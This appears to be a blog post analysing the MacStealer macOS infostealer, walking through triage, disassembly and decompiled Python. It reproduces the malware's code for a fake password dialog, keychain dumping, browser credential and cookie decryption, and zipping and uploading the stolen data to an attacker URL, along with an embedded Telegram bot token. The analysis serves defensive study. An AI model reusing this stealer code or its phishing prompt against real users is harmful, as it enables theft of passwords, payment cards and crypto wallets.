Understanding The Working Of Macstealer Malware
Introduction
In this post, we will look into MacStealer malware that was discovered by uptycs. The malware was originally written in Python and compiled to an executable using cx_Freeze
. It reads browsers’ secrets and wallets data and uploads them to the attcker-controlled server.
Triage
The infection vector of this malware is a DMG file. A DMG file is a type of file format used on macOS to install software or updates.
The hash of the DMG file is 9b17aee4c8a5c6e069fbb123578410c0a7f44b438a4c988be2b65ab4296cff5e
. hdiutil
can be used to mount DMG files and retrieve the archived applications or files present in it.
$ hdiutil attach 9b17aee4c8a5c6e069fbb123578410c0a7f44b438a4c988be2b65ab4296cff5e
/dev/disk2s1 Apple_APFS
/dev/disk3 EF57347C-0000-11AA-AA11-0030654
/dev/disk3s1 41504653-0000-11AA-AA11-0030654 /Volumes/weed
ls /Volumes/weed
Applications weed.app
Here, the application is weed.app
. The application is x86 based and it is signed via an ad-hoc signature.
$ file weed.app/Contents/MacOS/weed
weed.app/Contents/MacOS/weed: Mach-O 64-bit executable x86_64
$ shasum -a 256 weed.app/Contents/MacOS/weed
c34e2560ece4ff38b7077bfad2f7e8b32f73832781dba04a00f2706f300cef2f weed.app/Contents/MacOS/weed
$ codesign -dvv weed.app/Contents/MacOS/weed
Executable=/Users/worker/work/malware/may_2023/mac_stealer/weed.app/Contents/MacOS/weed
Identifier=console-cpython-37m-darwin-55554944a3bdd3e75c2d3398b109b4ba299ab7df
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20400 size=508 flags=0x2(adhoc) hashes=9+2 location=embedded
Signature=adhoc
Info.plist=not bound
TeamIdentifier=not set
Sealed Resources=none
Internal requirements count=0 size=12
The otool
utility shows information about shared libraries and frameworks:
otool -L weed.app/Contents/MacOS/weed
weed.app/Contents/MacOS/weed:
@executable_path/lib/Python (compatibility version 3.7.0, current version 3.7.0)
/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1319.0.0)
/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation (compatibility version 150.0.0, current version 1953.255.0)
Here, it seems like the executable uses Python
to execute some of its code. It may be possible that this malware was originally written in Python
and later it was compiled into an executable using some python to executable converter utility.
The strings
command prints embedded strings of the executable. These strings may reveal myriad information about the malware.
Out of memory converting arguments!
Unable to convert argument to string!
Fatal error: %s
Out of memory creating sys.path!
PATH
...
g_ExecutableDirName
_g_ExecutableName
/Users/runner/work/cx_Freeze/cx_Freeze/source/bases/
console.c
/Users/runner/work/cx_Freeze/cx_Freeze/build/temp.macosx-10.9-x86_64-cpython-37/source/bases/console.o
_main
...
_g_ExecutableName
console-cpython-37m-darwin-55554944a3bdd3e75c2d3398b109b4ba299ab7df
The strings
command doesn’t list many strings. It means either strings are obfuscated or encrypted to thwart the static analysis or it is a small binary that may download and execute the second-stage payloader.
From the strings
output, the string cx_Freeze
standout and a quick google about it shows that cx_Freeze is a utility that creates standalone executables from Python scripts. Our initial assumption was correct, the malware was written in Python and compiled using cx_Freeze
.
Analysis
To get a better idea about malware, I opened the executable in a disassembler (IDA) to do a static analysis of the code. The executable was small and it had only one function main
. The main
function checks the path, sets the path, initializes, and calls __startup__.init
and __startup__.run
.
[...]
__text:000010000356A loc_10000356A: ; CODE XREF: __text:0000000100003981↓j
__text:000000010000356A lea rdi, [rbp-440h]
__text:0000000100003571 lea rsi, [rbp-850h]
__text:0000000100003578 call _realpath$DARWIN_EXTSN ; checks the path
__text:000000010000357D test rax, rax
[...]
__text:0000000100003651 mov dword ptr [rax], 1
__text:0000000100003657 mov rax, cs:_Py_IgnoreEnvironmentFlag_ptr
__text:000000010000365E mov dword ptr [rax], 1
__text:0000000100003664 lea rdi, _g_ExecutableName
__text:000000010000366B call _Py_SetProgramName
__text:0000000100003670 mov rdi, r14
__text:0000000100003673 call _Py_SetPath
__text:0000000100003678 call _Py_Initialize
_text:0000000100003696 lea rdi, aStartup ; "__startup__"
__text:000000010000369D call _PyImport_ImportModule
__text:00000001000036A2 test rax, rax
__text:00000001000036A5 jz loc_100003AC7
__text:00000001000036AB mov r15, rax
__text:00000001000036AE lea rsi, aInit ; "init"
__text:00000001000036B5 mov rdi, rax
__text:00000001000036B8 call _PyObject_GetAttrString
__text:00000001000036BD test rax, rax
__text:00000001000036C0 jz loc_100003AB7
__text:00000001000036C6 mov rbx, rax
__text:00000001000036C9 mov rdi, rax
__text:00000001000036CC xor esi, esi
__text:00000001000036CE call _PyObject_CallObject ; calls `__startup__.init`
[...]
_text:00000001000036FF loc_1000036FF: ; CODE XREF: __text:00000001000036F3↑j
__text:00000001000036FF lea rsi, aRun ; "run"
__text:0000000100003706 mov rdi, r15
__text:0000000100003709 call _PyObject_GetAttrString
__text:000000010000370E mov r14, rax
__text:0000000100003711 add qword ptr [r15], 0FFFFFFFFFFFFFFFFh
__text:0000000100003715 jnz short loc_100003721
__text:0000000100003717 mov rax, [r15+8]
__text:000000010000371B mov rdi, r15
__text:000000010000371E call qword ptr [rax+30h]
__text:0000000100003721
__text:0000000100003721 loc_100003721: ; CODE XREF: __text:0000000100003715↑j
__text:0000000100003721 test r14, r14
__text:0000000100003724 jz loc_100003AC7
__text:000000010000372A mov rdi, r14
__text:000000010000372D xor esi, esi
__text:000000010000372F call _PyObject_CallObject ; calls `__startup__.run`
__text:0000000100003734 mov r15, rax
__text:0000000100003737 add qword ptr [r14], 0FFFFFFFFFFFFFFFFh
__text:000000010000373B jnz short loc_100003747
I have never analyzed cx_Freeze
compiled executable before so I didn’t know where the original Python scripts exist and how it is called by the executable. To learn that I ran the executable in a debugger (lldb) and the call to __startup__.run
prints the error message that the HTTP connection to api.ipify.org
can’t be established. I was debugging the malware in an isolated virtual machine with no connection to the internet so an outbound connection was not possible.
* thread #1, queue = 'com.apple.main-thread', stop reason = instruction step over
frame #0: 0x000000010000372a weed`main + 746
weed`main:
-> 0x10000372a <+746>: mov rdi, r14
0x10000372d <+749>: xor esi, esi
0x10000372f <+751>: call 0x100003bf4 ; symbol stub for: PyObject_CallObject
0x100003734 <+756>: mov r15, rax
* thread #1, queue = 'com.apple.main-thread', stop reason = instruction step over
frame #0: 0x000000010000372d weed`main + 749
weed`main:
-> 0x10000372d <+749>: xor esi, esi
0x10000372f <+751>: call 0x100003bf4 ; symbol stub for: PyObject_CallObject
0x100003734 <+756>: mov r15, rax
0x100003737 <+759>: add qword ptr [r14], -0x1
* thread #1, queue = 'com.apple.main-thread', stop reason = instruction step over
frame #0: 0x000000010000372f weed`main + 751
weed`main:
-> 0x10000372f <+751>: call 0x100003bf4 ; symbol stub for: PyObject_CallObject
0x100003734 <+756>: mov r15, rax
0x100003737 <+759>: add qword ptr [r14], -0x1
0x10000373b <+763>: jne 0x100003747 ; <+775>
(lldb) ni
9 locations added to breakpoint 1
HTTPSConnectionPool(host='api.ipify.org', port=443): Max retries exceeded with url: / (Caused by NewConnectionError('<urllib3.connection.HTTPSConnection object at 0x102e74a90>: Failed to establish a new connection: [Errno 8] nodename nor servname provided, or not known'))
* thread #1, queue = 'com.apple.main-thread', stop reason = instruction step over
frame #0: 0x0000000100003734 weed`main + 756
weed`main:
-> 0x100003734 <+756>: mov r15, rax
0x100003737 <+759>: add qword ptr [r14], -0x1
0x10000373b <+763>: jne 0x100003747 ; <+775>
0x10000373d <+765>: mov rax, qword ptr [r14 + 0x8]
The strings
command, I ran previously, had not found the string api.ipify.org
in the executable so I did grep for the string in the directory and found it in general.pyc
within the data directory. The file extension pyc
is the Python compiled code.
weed.app/Contents/MacOS$ grep -rn "api.ipify.org" .
Binary file ./lib/en_data/general.pyc matches
Binary file ./lib/data/general.pyc matches
Now the question was what was the series of calls that lead to the execution of general.pyc
. I tried some stuff to figure it out but it didn’t work out. Later, it clicked to me that everything getting executed should be present in the lib
folder. I assumed __startup__
is a module so a file with the same name should exist in the lib
folder but I didn’t find such a file in the folder. Next, I searched for the string __startup__
and found it in the library.zip
file.
weed.app/Contents/MacOS$ grep -rn "__startup__" .
Binary file ./weed matches
Binary file ./lib/library.zip matches
The unzipped library.zip
shows that it contained __startup__.pyc
and a lot of other compiled Python scripts. Other files that look interesting are weed__init__.pyc
and weed__main__.pyc
as the prefix string weed
matches the name of the executable.
ls library ✔
BUILD_CONSTANTS.pyc copyreg.pyc ntpath.pyc sre_compile.pyc
__future__.pyc cryptography-39.0.2.dist-info numbers.pyc sre_constants.pyc
__startup__.pyc csv.pyc opcode.pyc sre_parse.pyc
[..]
code.pyc keyword.pyc shlex.pyc webbrowser.pyc
codecs.pyc linecache.pyc shutil.pyc weed__init__.pyc
codeop.pyc locale.pyc signal.pyc weed__main__.pyc
Next, I use decompyle3 to decompile pyc files and recover the original Python code.
weed.app/Contents/MacOS$ decompyle3 library/* -o lib_un_pyc
The decompiled __startup__
file contained init
and run
methods. The run
method uses the basename of the sys.executable
, which is weed
in this case, and appends __init__
and __main__
. The function calls weed__init__.run
method with the argument weed__main__
.
# file __startup__
def run():
"""Determines the name of the initscript and execute it."""
name = os.path.normcase(os.path.basename(sys.executable))
if IS_WINDOWS or IS_MINGW:
name, _ = os.path.splitext(name)
name = name.partition('.')[0]
if not name.isidentifier():
for char in STRINGREPLACE:
name = name.replace(char, '_')
try:
module_init = __import__(name + '__init__')
except ModuleNotFoundError:
files = []
for k in __loader__._files:
if k.endswith('__init__.pyc'):
k = k.rpartition('__init__')[0]
if k.isidentifier():
files.append(k)
if len(files) != 1:
raise RuntimeError(f"Apparently, the original executable has been renamed to {name!r}. When multiple executables are generated, renaming is not allowed.") from None
name = files[0]
module_init = __import__(name + '__init__')
module_init.run(name + '__main__')
weed__init__.run
method calls exec
and executes the module passed to it as an argument. In this case, run
executes weed__main__
# file weed__init__
__doc__ = '\nInitialization script for cx_Freeze. Sets the attribute sys.frozen so that\nmodules that expect it behave as they should.\n'
import sys
sys.frozen = True
def run(name):
"""Execute the main script of the frozen application."""
code = __loader__.get_code(name)
module_main = __import__('__main__')
module_main.__dict__['__file__'] = code.co_filename
exec(code, module_main.__dict__)
The weed__main__
script contains the following code:
# file weed__main__
___config__ = {
'build_id': '4D32B7B1B7529E17F6E138C7E4146E31',
'app_name': 'weed',
'api_url': 'http://mac.cracked23.site',
'popup_title': 'System Preferences',
'popup_text': 'MacOS wants to access the System Preferences',
'max_file_size': '100000000',
'bot_token': '6056159172:AAEbi5hRzK-FCrLSs6JJH4cLjQMovTkPSX4',
'bot_chat_id': '1550714282',
'bot_channel_id': '-1001702526351'}
from en_data import Main # ---------------> (1)
if __name__ == '__main__':
try:
main = Main(config=___config__)
main.main() # ---------------> (2)
except Exception as e:
try:
print(e)
finally:
e = None
del e
It imports the Main
module from en_data
at (1)
and executes the main
function ((2)
). If you remember, we found the URL that the executable attempting to connect was in general.pyc
and the general.pyc
file was also in the lib\en_data
folder. Now we are making some connections.
Next, I decompiled the lib\en_data
folder using decompyle3
:
decompyle3 en_data/* -o en_data_decompile
The decompiled code of the Main.main()
method is as follows:
# file en_data/__init__.py
def main(arg1):
V = 'bot_channel_id'
U = 'bot_chat_id'
T = 'bot_token'
S = 'os_version'
R = 'build_id'
K = 'data'
J = 'keychain_passwords_amount'
H = 'name'
G = 'cookies_amount'
F = 'cc_amount'
E = 'passwords_amount'
try:
files_py = Files(max_file_size=(arg1.config['max_file_size']))
arg1.temp_folder_path = files_py.create_temp_folder() #<---------------------- (3)
arg1.generalInfo = General().get_general_info() #<------------------------ (4)
arg1.files = files_py.get_all_files()
for L in arg1.files.items():
for W in L[1]:
files_py.copy_files_to_folder(f"'{W}'", L[0], f"{arg1.temp_folder_path}") #<-------------------- (5)
misc_py = Misc(arg1.temp_folder_path)
misc_py.get_data() #<-------------------- (6)
arg1.keychain, arg1.macpassword = Keychain(config=(arg1.config)).keychain() #<-------------------- (7)
if arg1.keychain:
if arg1.macpassword:
arg1.generalInfo[J] = len(arg1.keychain)
arg1.decryption_keys = Keychain(config=(arg1.config)).get_safe_key(arg1.keychain) #<-------------------- (8)
browsers_py = Browsers(arg1.decryption_keys)
arg1.passwords, arg1.cc, arg1.cookies, M = browsers_py.browser_data() #<-------------------- (9)
[...]
wallets_py = Wallets(browsers_paths=extension_paths, temp_folder_path=(arg1.temp_folder_path), macpassword=(arg1.macpassword), passwords=(arg1.passwords))
all_wallets = wallets_py.get_all_wallets() #<-------------------- (10)
extensions_py = Extensions()
d = extensions_py.get_all_extension_paths(extension_paths)
for I in d:
files_py.copy_all_files_to_folder(I['path'], I[H], f"{arg1.temp_folder_path}/browser_data/{I['browser']}/{I['profile']}/extensions/")
arg1.generalInfo['macpassword'] = arg1.macpassword
files_py.create_txt_file_from_dict(arg1.generalInfo, 'general_info', arg1.temp_folder_path)
arg1.zip_file_path = files_py.create_zip_file(arg1.temp_folder_path, arg1.generalInfo[H])
e = {R: arg1.config[R], 'buildname': arg1.config['app_name'], H: arg1.generalInfo[H], 'wallets': all_wallets if all_wallets else [], 'os': arg1.generalInfo['os'], S: arg1.generalInfo[S], 'ip': arg1.generalInfo['ip'], J: arg1.generalInfo[J], E: arg1.generalInfo[E], F: arg1.generalInfo[F], G: arg1.generalInfo[G], T: arg1.config[T], U: arg1.config[U], V: arg1.config[V]}
print(files_py.upload_zip_file(arg1.config['api_url'], f"{arg1.zip_file_path}", e)) #<-------------------- (11)
Main.main()
creates a temp folder with a random name at (3)
. At (4)
, General().get_general_info()
returns a dictionary containing platform name, os name, os version, and IP address.
At (4)
, files_py.get_all_files()
gets the files with the following extensions from Desktop
, Documents
, Downloads
, Movies
, Music
, Pictures
, and Public
folders and copies them to the temp folder:
# file en_data/files.py
A.support_file_extensions = [
'.txt','.doc','.docx','.pdf','.xls','.xlsx','.ppt','.pptx','.jpg','.png','.bmp','.mp3','.zip','.rar','.py','db','.csv','.jpeg']
At (6)
Misc.get_data()
is called which copies tdata
files of the Telegram application and the default keychain file to the temp directory:
# endata/misc.py
[...]
A.tg_path = glob.glob(f"{A.app_data_path}/Telegram Desktop/tdata")[0]
A.files.copy_all_files_to_folder(f"{A.tg_path}", 'Telegram', f"{A.temp_folder_path}")
[...]
A.keychain_path = subprocess.check_output('security default-keychain', shell=_A).decode('utf-8').strip().replace('"', '')
A.files.copy_single_file_to_folder(f"{A.keychain_path}", A.keychain_path.split('/')[-1], f"{A.temp_folder_path}")
return _A
A.files.copy_all_files_to_folder(f"{A.tg_path}", 'Telegram', f"{A.temp_folder_path}")
[...]
At (7)
, ` Keychain.keychain() is called. It first uses
AppleScripts` to display a dialogue box to trick the affected user to reveal their password and uses the password to dump all generic passwords stored in the default keychain.
# file keychain.py
[...]
osascript_var = 'osascript -e \'display dialog "{message}" with title "{title}" with icon caution default answer "" with hidden answer\' '
security_cmd = 'security list-keychains'
osascript_var = osascript_var.format(message=(A.popup_text), title=(A.popup_title))
osascript_output = subprocess.check_output(osascript_var, shell=G)
if not osascript_output or osascript_output == '':
continue
else:
user_password = osascript_output.decode(_D).split('text returned:')[1].strip().replace('\n', '')
if not user_password or user_password == '':
continue
else:
security_cmd_output = subprocess.check_output('security default-keychain', shell=G)
security_cmd_output = security_cmd_output.decode(_D).strip().replace('"', '')
I = chainbreaker.Chainbreaker(security_cmd_output, unlock_password=user_password)
C = I
[...]
A.passwords = C.dump_generic_passwords()
return [A.passwords, user_password]
At (8)
, Keychain.get_safe_key()
iterates through the generic password to find browsers’ safe storage passwords. These passwords may be used to steal and decrypt credentials stored by browsers.
# file keychain.py
[...]
B.decryption_keys = [
{A: 'amigo', _A: 'Amigo Safe Storage', _B: _C}, {A: 'torch', _A: 'Torch Safe Storage', _B: _C}, {A: 'kometa', _A: 'Kometa Safe Storage', _B: _C}, {A: 'orbitum', _A: 'Orbitum Safe Storage', _B: _C}, {A: 'cent-browser', _A: 'CentBrowser Safe Storage', _B: _C}, {A: '7star', _A: '7Star Safe Storage', _B: _C}, {A: 'sputnik', _A: 'Sputnik Safe Storage', _B: _C}, {A: 'vivaldi', _A: 'Vivaldi Safe Storage', _B: _C}, {A: 'google-chrome-sxs', _A: D, _B: _C}, {A: 'google-chrome', _A: D, _B: _C}, {A: 'epic-privacy-browser', _A: 'Epic Privacy Browser Safe Storage', _B: _C}, {A: 'microsoft-edge', _A: 'Microsoft Edge Safe Storage', _B: _C}, {A: 'uran', _A: 'uCozMedia Safe Storage', _B: _C}, {A: 'yandex', _A: 'Yandex Safe Storage', _B: _C}, {A: 'brave', _A: 'Brave Safe Storage', _B: _C}, {A: 'Iridium', _A: 'Iridium Safe Storage', _B: _C}, {A: 'Edge', _A: 'Edge Safe Storage', _B: _C}]
[...]
def get_safe_key(A, passwords):
for password in passwords:
for decryption_key in A.decryption_keys:
if password.PrintName.decode(_D) == decryption_key[_A]:
decryption_key[_B] = password.password
return A.decryption_keys
[...]
At (9)
, Browsers.browser_data()
reads browser stored credentials, credit card details, and cookies from ~/Library/Application\ Support/{Browser_name}/Default/Login\ Data
, ~/Library/Application\ Support/{Browser_name}/Default/Web\ Data
, and ~/Library/Application\ Support/{Browser_name}/Default/Cookies
respectively. Note that, login password, credit card number, and cookies values are stored in the encrypted format. It uses the corresponding browser keys obtained using keychain.py
to decrypt the encrypted data.
I found the decryption quite interesting. Here, encrypted
is cipher text that the malware decrypt using the openssl
command.
# file en_data/browser.py
def decrypter(self, encrypted, safe_storage_key):
cipher_text = encrypted
try:
C = ''.join(('20', '20', '20', '20', '20', '20', '20', '20', '20', '20',
'20', '20', '20', '20', '20', '20'))
D = hashlib.pbkdf2_hmac('sha1', safe_storage_key, b'saltysalt', 1003)[:16]
E = binascii.hexlify(D)
cipher_text_encoded = base64.b64encode(cipher_text[3:])
try:
G = "openssl enc -base64 -d -aes-128-cbc -iv '{}' -K {} <<< {} 2>/dev/null".format(C, E.decode(__utf8), cipher_text_encoded.decode(__utf8))
B = subprocess.check_output(G, shell=True)
except subprocess.CalledProcessError:
B = cipher_text
The initialization vector is 20202020202020202020202020202020
and the 16-byte decryption key is derived from the safe_storage_key
using the PBKDF2
algorithm with SHA1 as the hash function, a salt of saltysalt'
, and 1003 iterations of the hash function. I don’t know how the malware author come up with these values but it works and successfully decrypts the stored encrypted text.
It copies crypto wallet securely stored data (at (10)
) to the temp folder. Next, it zips the temp folder which contains browsers’ secret data, wallet data, the default keychain, passwords, and other sensitive information and uploads it to the server.
Conclusion
I wrote the macos_browsers_secrets_stealer script that utilizes the same method used by macstealer Malware to steal browser secrets and dumps them in CSV files. If you are interested in Mac malware, Patrick Wardle blog post and book are great resources for learning.